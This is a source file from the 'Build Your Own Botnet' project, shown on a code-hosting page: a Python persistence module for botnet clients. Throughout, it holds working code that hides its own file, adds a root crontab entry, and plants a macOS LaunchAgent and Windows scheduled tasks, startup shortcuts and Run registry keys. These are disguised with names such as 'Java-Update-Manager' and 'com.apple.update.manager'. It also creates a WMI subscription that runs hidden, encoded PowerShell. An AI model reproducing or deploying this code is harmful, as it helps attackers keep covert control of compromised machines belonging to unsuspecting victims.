Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/modules/persistence.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Persistence (Build Your Own Botnet)'
4
5
# standard libarary
6
import os
7
import sys
8
import time
9
import base64
10
import random
11
import string
12
import subprocess
13
14
# packages
15
if sys.platform == 'win32':
16
import _winreg
17
18
# utilities
19
import util
20
21
# globals
22
packages = ['_winreg'] if sys.platform == 'win32' else []
23
platforms = ['win32','linux','darwin']
24
results = {}
25
usage = 'persistence [method] <add/remove>'
26
description = """
27
Establish persistence on the client host machine
28
with multiple methods to ensure redundancy
29
"""
30
31
# templates
32
template_wmi = string.Template("""$filter = ([wmiclass]"\\\\.\\root\\subscription:__EventFilter").CreateInstance()
33
$filter.QueryLanguage = "WQL"
34
$filter.Query = "Select * from __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ${STARTUP}"
35
$filter.Name = "${NAME}"
36
$filter.EventNamespace = 'root\\cimv2'
37
$result = $filter.Put()
38
$filterPath = $result.Path
39
$consumer = ([wmiclass]"\\\\.\\root\\subscription:CommandLineEventConsumer").CreateInstance()
40
$consumer.Name = '${NAME}'
41
$consumer.CommandLineTemplate = '${COMMAND_LINE}'
42
$consumer.ExecutablePath = ""
43
$consumer.WorkingDirectory = "C:\\Windows\\System32"
44
$result = $consumer.Put()
45
$consumerPath = $result.Path
46
$bind = ([wmiclass]"\\\\.\\root\\subscription:__FilterToConsumerBinding").CreateInstance()
47
$bind.Filter = $filterPath
48
$bind.Consumer = $consumerPath
49
$result = $bind.Put()
50
$bindPath = $result.Path""")
51
52
template_plist = string.Template("""#!/bin/bash
53
echo '<plist version="1.0">
54
<dict>
55
<key>Label</key>
56
<string>${LABEL}</string>
57
<key>ProgramArguments</key>
58
<array>
59
<string>/usr/bin/python</string>
60
<string>${FILE}</string>
61
</array>
62
<key>RunAtLoad</key>
63
<true/>
64
<key>StartInterval</key>
65
<integer>180</integer>
66
<key>AbandonProcessGroup</key>
67
<true/>
68
</dict>
69
</plist>' > ~/Library/LaunchAgents/${LABEL}.plist
70
chmod 600 ~/Library/LaunchAgents/${LABEL}.plist
71
launchctl load ~/Library/LaunchAgents/${LABEL}.plist
72
exit""")
73
74
# main
75
class Method():
76
"""
77
Persistence Method (Build Your Own Botnet)
78
79
"""
80
def __init__(self, name, platforms=['win32','linux','linux2','darwin']):
81
self.name = name
82
self.result = None
83
self.established = False
84
self.platforms = platforms
85
for _ in ('add','remove'):
86
if '_{}_{}'.format(_, self.name) not in globals():
87
util.log("required method '_{}_{}' not found".format(_, self.name))
88
89
def add(self):
90
"""
91
Attempt to establish persistence using the given method
92
93
"""
94
if sys.platform in self.platforms:
95
if not self.established:
96
self.established, self.result = globals()['_add_{}'.format(self.name)]()
97
else:
98
raise OSError("Persistence method '{}' not compatible with {} platforms".format(self.name, sys.platform))
99
100
def remove(self):
101
"""
102
Remove an established persistence method from the host machine
103
104
"""
105
if sys.platform in self.platforms:
106
if self.established:
107
self.established, self.result = globals()['_remove_{}'.format(self.name)]()
108
else:
109
raise OSError("Persistence method '{}' not compatible with {} platforms".format(self.name, sys.platform))
110
111
def _add_hidden_file(value=None):
112
try:
113
value = sys.argv[0]
114
if value and os.path.isfile(value):
115
if os.name == 'nt':
116
path = value
117
hide = subprocess.call('attrib +h {}'.format(path), shell=True) == 0
118
else:
119
dirname, basename = os.path.split(value)
120
path = os.path.join(dirname, '.' + basename)
121
hide = subprocess.call('cp {} {}'.format(value, path), shell=True) == 0
122
return (True if hide else False, path)
123
else:
124
util.log("File '{}' not found".format(value))
125
except Exception as e:
126
util.log(e)
127
return (False, None)
128
129
def _add_crontab_job(value=None, minutes=10, name='flashplayer'):
130
try:
131
if 'linux' in sys.platform:
132
value = os.path.abspath(sys.argv[0])
133
if value and os.path.isfile(value):
134
if not _methods['crontab_job'].established:
135
path = value
136
task = "0 * * * * root {}".format(path)
137
with open('/etc/crontab', 'r') as fp:
138
data = fp.read()
139
if task not in data:
140
with open('/etc/crontab', 'a') as fd:
141
fd.write('\n{}\n'.format(task))
142
return (True, path)
143
else:
144
return (True, path)
145
except Exception as e:
146
util.log("{} error: {}".format(_add_crontab_job.__name__, str(e)))
147
return (False, None)
148
149
def _add_launch_agent(value=None, name='com.apple.update.manager'):
150
try:
151
global template_plist
152
if sys.platform == 'darwin':
153
if not value:
154
if len(sys.argv):
155
value = sys.argv[0]
156
elif '__file__' in globals():
157
value = globals().get('__file__')
158
else:
159
raise ValueError('No target file selected')
160
if value and os.path.isfile(value):
161
label = name
162
if not os.path.exists('/var/tmp'):
163
os.makedirs('/var/tmp')
164
fpath = '/var/tmp/.{}.sh'.format(name)
165
bash = template_plist.substitute(LABEL=label, FILE=value)
166
with open(fpath, 'w') as fileobj:
167
fileobj.write(bash)
168
bin_sh = bytes().join(subprocess.Popen('/bin/sh {}'.format(fpath), 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())
169
time.sleep(1)
170
launch_agent= os.path.join(os.environ.get('HOME'), 'Library/LaunchAgents/{}.plist'.format(label))
171
if os.path.isfile(launch_agent):
172
os.remove(fpath)
173
return (True, launch_agent)
174
else:
175
util.log('File {} not found'.format(launch_agent))
176
except Exception as e2:
177
util.log('Error: {}'.format(str(e2)))
178
return (False, None)
179
180
def _add_scheduled_task(value=None, name='Java-Update-Manager'):
181
try:
182
if os.name == 'nt' and not _methods['scheduled_task'].established:
183
value = sys.argv[0]
184
name = util.variable(random.randint(6,11))
185
if value and os.path.isfile(value):
186
result = subprocess.check_output('SCHTASKS /CREATE /TN {} /TR {} /SC hourly /F'.format(name, value), shell=True)
187
if 'SUCCESS' in result:
188
return (True, result.replace('"', ''))
189
except Exception as e:
190
util.log('Add scheduled task error: {}'.format(str(e)))
191
return (False, None)
192
193
def _add_startup_file(value=None, name='Java-Update-Manager'):
194
try:
195
if os.name == 'nt' and not _methods['startup_file'].established:
196
value = sys.argv[0]
197
if value and os.path.isfile(value):
198
appdata = os.path.expandvars("%AppData%")
199
startup_dir = os.path.join(appdata, r'Microsoft\Windows\Start Menu\Programs\Startup')
200
if not os.path.exists(startup_dir):
201
os.makedirs(startup_dir)
202
startup_file = os.path.join(startup_dir, '%s.eu.url' % name)
203
content = '\n[InternetShortcut]\nURL=file:///%s\n' % value
204
if not os.path.exists(startup_file) or content != open(startup_file, 'r').read():
205
with open(startup_file, 'w') as fp:
206
fp.write(content)
207
return (True, startup_file)
208
except Exception as e:
209
util.log('{} error: {}'.format(_add_startup_file.__name__, str(e)))
210
return (False, None)
211
212
def _add_registry_key(value=None, name='Java-Update-Manager'):
213
try:
214
if os.name == 'nt' and not _methods['registry_key'].established:
215
value = sys.argv[0]
216
if value and os.path.isfile(value):
217
try:
218
util.registry_key(r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", name, value)
219
return (True, name)
220
except Exception as e:
221
util.log('{} error: {}'.format(_add_registry_key.__name__, str(e)))
222
except Exception as e:
223
util.log('{} error: {}'.format(_add_registry_key.__name__, str(e)))
224
return (False, None)
225
226
def _add_powershell_wmi(command=None, name='Java-Update-Manager'):
227
try:
228
global template_wmi
229
if os.name == 'nt' and not _methods['powershell_wmi'].established:
230
if command:
231
cmd_line = r'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(base64.b64encode(bytes(command).encode('UTF-16LE')))
232
startup = "'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
233
script = template_wmi.substitute(STARTUP=startup, COMMAND_LINE=cmd_line, NAME=name)
234
_ = util.powershell(script)
235
code = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='%s'\"" % name
236
result = util.powershell(code)
237
if name in result:
238
return (True, result)
239
except Exception as e:
240
util.log('{} error: {}'.format(_add_powershell_wmi.__name__, str(e)))
241
return (False, None)
242
243
def _remove_scheduled_task():
244
if _methods['scheduled_task'].established:
245
value = _methods['scheduled_task'].result
246
try:
247
if subprocess.call('SCHTASKS /DELETE /TN {} /F'.format(value), shell=True) == 0:
248
return (False, None)
249
except:
250
pass
251
return (_methods['scheduled_task'].established, _methods['scheduled_task'].result)
252
253
def _remove_hidden_file():
254
try:
255
if _methods['hidden_file'].established:
256
filename = _methods['hidden_file'].result
257
if os.path.isfile(filename):
258
try:
259
unhide = 'attrib -h {}'.format(filename) if os.name == 'nt' else 'mv {} {}'.format(filename, os.path.join(os.path.dirname(filename), os.path.basename(filename).strip('.')))
260
if subprocess.call(unhide, 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:
261
return (False, None)
262
except Exception as e1:
263
util.log('{} error: {}'.format(_remove_hidden_file.__name__, str(e1)))
264
except Exception as e2:
265
util.log('{} error: {}'.format(_remove_hidden_file.__name__, str(e2)))
266
return (_methods['hidden_file'].established, _methods['hidden_file'].result)
267
268
def _remove_crontab_job(value=None, name='flashplayer'):
269
try:
270
if 'linux' in sys.platform and _methods['crontab_job'].established:
271
with open('/etc/crontab','r') as fp:
272
lines = [i.rstrip() for i in fp.readlines()]
273
for line in lines:
274
if name in line:
275
_ = lines.pop(line, None)
276
with open('/etc/crontab', 'a+') as fp:
277
fp.write('\n'.join(lines))
278
return (False, None)
279
except Exception as e:
280
util.log('{} error: {}'.format(_remove_crontab_job.__name__, str(e)))
281
return (_methods['hidden_file'].established, _methods['hidden_file'].result)
282
283
def _remove_launch_agent(value=None, name='com.apple.update.manager'):
284
try:
285
if _methods['launch_agent'].established:
286
launch_agent = _methods['launch_agent'].result
287
if os.path.isfile(launch_agent):
288
util.delete(launch_agent)
289
return (False, None)
290
except Exception as e:
291
util.log("{} error: {}".format(_remove_launch_agent.__name__, str(e)))
292
return (_methods['launch_agent'].established, _methods['launch_agent'].result)
293
294
def _remove_powershell_wmi(value=None, name='Java-Update-Manager'):
295
try:
296
if _methods['powershell_wmi'].established:
297
try:
298
code = r"""
299
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='[NAME]'", Remove-WmiObject
300
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='[NAME]'" , Remove-WmiObject
301
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription , Where-Object { $_.filter -match '[NAME]'} , Remove-WmiObject""".replace('[NAME]', name)
302
result = util.powershell(code)
303
if not result:
304
return (False, None)
305
except: pass
306
return (_methods['powershell_wmi'].established, _methods['powershell_wmi'].result)
307
except Exception as e:
308
util.log('{} error: {}'.format(_add_powershell_wmi.__name__, str(e)))
309
return (_methods['powershell_wmi'].established, _methods['powershell_wmi'].result)
310
311
def _remove_registry_key(value=None, name='Java-Update-Manager'):
312
try:
313
if _methods['registry_key'].established:
314
value = _methods['registry_key'].result
315
try:
316
key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_ALL_ACCESS)
317
_winreg.DeleteValue(key, name)
318
_winreg.CloseKey(key)
319
return (False, None)
320
except: pass
321
return (_methods['registry_key'].established, _methods['registry_key'].result)
322
except Exception as e:
323
util.log(str(e))
324
325
def _remove_startup_file():
326
try:
327
if _methods['startup_file'].established:
328
value = _methods['startup_file'].result
329
if value and os.path.isfile(value):
330
if os.name != 'nt':
331
return (False, None)
332
appdata = os.path.expandvars("%AppData%")
333
startup_dir = os.path.join(appdata, r'Microsoft\Windows\Start Menu\Programs\Startup')
334
startup_file = os.path.join(startup_dir, value) + '.eu.url'
335
if os.path.exists(startup_file):
336
util.delete(startup_file)
337
return (False, None)
338
except Exception as e:
339
util.log('{} error: {}'.format(_remove_startup_file.__name__, str(e)))
340
341
hidden_file = Method('hidden_file', platforms=['win32','linux','linux2','darwin'])
342
crontab_job = Method('crontab_job', platforms=['linux','linux2'])
343
registry_key = Method('registry_key', platforms=['win32'])
344
startup_file = Method('startup_file', platforms=['win32'])
345
launch_agent = Method('launch_agent', platforms=['darwin'])
346
scheduled_task = Method('scheduled_task', platforms=['win32'])
347
powershell_wmi = Method('powershell_wmi', platforms=['win32'])
348
349
_methods = {method: globals()[method] for method in globals() if isinstance(globals()[method], Method)}
350
351
def methods():
352
"""
353
Persistence methods as dictionary (JSON) object of key-value pairs
354
355
Ex. {"method": <Method-object at 0x098fce>, ...}
356
357
`Method`
358
:attr method add: run the method
359
:attr method remove: remove the method
360
:attr str name: name of the method
361
:attr bool established: True/False if established
362
:attr str result: method result output
363
364
"""
365
return globals()['_methods'].items()
366
367
def results():
368
"""
369
Results of completed persistence methods as dictionary (JSON) object of key-value pairs
370
371
Ex. {"method": "result", ...}
372
373
"""
374
return {name: method.result for name, method in globals()['_methods'].items() if method.established}
375
376
def run():
377
"""
378
Attempt to establish persistence with every method
379
380
"""
381
for name, method in globals()['_methods'].items():
382
if sys.platform in method.platforms:
383
try:
384
method.add()
385
except Exception as e:
386
util.log(e)
387
return results()
388
389
def abort():
390
"""
391
Remove all established persistence methods
392
393
"""
394
for name, method in globals()['_methods'].items():
395
if sys.platform in method.platforms:
396
try:
397
method.remove()
398
except Exception as e:
399
util.log(e)
400
401